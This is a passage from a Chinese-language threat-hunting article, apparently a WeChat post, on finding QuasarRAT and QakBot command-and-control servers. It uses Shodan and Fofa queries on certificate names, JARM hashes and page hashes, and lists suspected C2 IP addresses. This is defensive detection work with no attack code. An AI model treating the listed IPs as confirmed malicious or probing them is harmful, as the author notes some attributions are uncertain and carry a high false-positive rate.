src="https://wechat2rss.xlab.app/img-proxy/?k=64ab91c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXU4qNZ5CLbSbM1lnn959EpGiaKB9M0u6mD5X8LzribCfyiczv2zM70icMOg%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  几乎都是已经明确是<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">QuasarRAT</code>的样本，这样一来，我们从一个QuasarRAT样本找到了这个关联IP，而这个IP关联了多个已经被判定为QuasarRAT的样本,那么笔者就认为这个IP就是QuasarRAT的远控IP，后续进行分析。</p><h4 style="font-size: 1em;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(255, 118, 118);">13.107.4.50</h4><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5685131195335277" data-s="300,640" style="" data-type="png" data-w="1029" src="https://wechat2rss.xlab.app/img-proxy/?k=d73c137f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXicQpMK2VguT09WwBVqtOQVPYopicDUQETxlvIRmHuiaraKTCa8mUkXXDQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  可以看到这个IP关联的样本很多，笔者挑了几个看了一下涉及到的病毒种类也比较多，无法判定是单纯的QuasarRAT Server，所以这里就不做后续分析，有兴趣的师傅可以自己分析一下<span style="line-height: 1.75;color: rgb(87, 107, 149);">VirusTotal - IP address - 13.107.4.50</span></p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.38079470198675497" data-s="300,640" style="" data-type="png" data-w="302" src="https://wechat2rss.xlab.app/img-proxy/?k=cf1d7656&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXnjrduvMFVjSLibEuJrZX0zVTJwKlGEMDiaUr5LmCIB9SHxpXZ0HPicntQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3159722222222222" data-s="300,640" style="" data-type="png" data-w="288" src="https://wechat2rss.xlab.app/img-proxy/?k=51fbe8e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXHaDXKDLHfpmu7XzbdQMC1Yg2emAdBe5RCicbgm4A58ibw8Sed5ukyKAA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.375" data-s="300,640" style="" data-type="png" data-w="304" src="https://wechat2rss.xlab.app/img-proxy/?k=ff6be043&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXHaYxmu86yjzUAY2n3RoZCjnuQYrKNSZ7MmKXkAyDhh1ofLTIGkB7icQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">IP分析</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  我们拿到了<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">59.26.93.6</code>这个IP，接下来去空间测绘引擎查询一下IP的信息，本文以Shadon和Fofa为例</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">语句：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">Shadon:  ip:&#34;59.26.93.6&#34;<br/>Fofa  :  ip=&#34;59.26.93.6&#34;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">结果中首先观察到这里：</p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2101851851851852" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8e5df13d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXKicajIvPicRnD9LX45a6uNgLJ4jxmdJJWArhrtaAiccibYuIpS0IXj59ww%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  很多端口的banner都是这串字符，这是<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">msrpc</code>的banner特征，所以这个就被我们pass</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  然后我们查看https的证书，发现存在证书特征关键字<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Quasar Server CA</code></p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.1723446893787575" data-s="300,640" style="" data-type="png" data-w="499" src="https://wechat2rss.xlab.app/img-proxy/?k=f94cf38b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQX7413rEK30n9ShxFDc33eWZtcVW6rM6RPInDbTcbApVnxf7T0rwmfWg%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Shadon也显示了该IP对应的证书信息</p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4202682563338301" data-s="300,640" style="" data-type="png" data-w="671" src="https://wechat2rss.xlab.app/img-proxy/?k=79a5edf5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXribEatpENvkQmNSyNlf6bQKh8xeJdbpt1Kh6h45vp8HU0NVGZE0KdJw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  到这里，我们找到了一个相关的特征，即证书的Subject或者Issuer是<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Quasar Server CA</code>，接下来使用Shadon进行拓线</p><h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">特征拓线</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  我们通过特征在Shadon搜索更多证书与<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Quasar Server CA</code>相关的服务器</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ssl.cert.subject.cn:&#34;Quasar Server CA&#34;</code></p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6833333333333333" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3590e6b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXjib57RFP3z5icfbTibr2UavsV1u2EvmhbJC6vaa3JvnOYy33kbLLwLpXg%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  直接相关的结果有19个，主要分布在毛里求斯、香港和德国。对应的端口也多为443端口，少量的1337和8009端口</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  然后通过Shadon的聚合模式查看其他的特征信息，首先是JARM</p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2037037037037037" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bfbd0c1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQX9dYy8HKYjiat5DCOZ3VqoeXI94ZoLkDVWVr64sAicwIfBCSGLUJeM2gw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  获得<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">QuasarRAT</code>Server出现的JARM值，然后我们通过单独搜索JARM去尝试Hunting</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ssl.jarm:&#34;2ad2ad0002ad2ad0002ad2ad2ad2adf9fdf4eeac344e8b5003264da73585be&#34;</code></p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.487962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=92002857&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXLa3y2uWSWUcM6lLEb4j1ndfnc24gppibWibLLzHFiby2YLHicDs1R1BFyQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  看到12w个结果，基本可以确定不怎么靠谱，误报风险极极极极极极极极极极极极极极大</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  其他的JARM看了结果也很多，所以这里就不考虑JARM，其他的指纹查看结果价值也不大</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  该样本拓线出证书特征为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Quasar Server CA</code></p><h2 style="letter-spacing: normal;white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">QakBot</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  QBot是一个模块化的信息窃取器，也被称为Qakbot或Pinkslipbot。它从受感染的系统中窃取金融数据，以及使用C2服务器进行有效载荷定位和下载的加载器。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  使用文章<span style="line-height: 1.75;color: rgb(87, 107, 149);">使用 Sophos NDR 检测到新的 QakBot C2 服务器 – Sophos News</span>中提到的C2进行分析</p><h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">173.18.122.24</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ip:&#34;173.18.122.24&#34;</code></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  搜索结果只开放了443端口，查看一下端口的特征值，这里注意返回的banner信息和网页hash</p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.838012958963283" data-s="300,640" style="" data-type="png" data-w="926" src="https://wechat2rss.xlab.app/img-proxy/?k=2bf22e3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXSuXWWdXWqrahpf3GWOVbXt9LS2tuEHxbFbYZV3ibmM4KuPNj4DOIQ8A%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过网页hash进行拓展</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">http.html_hash:501510358</code></p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5861111111111111" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=323a3fd4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXqWecibhoVCgJ0TLwgOzohKhEAujW1xyfYjKjIpTQuj9kNU8FwC2ZqLg%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 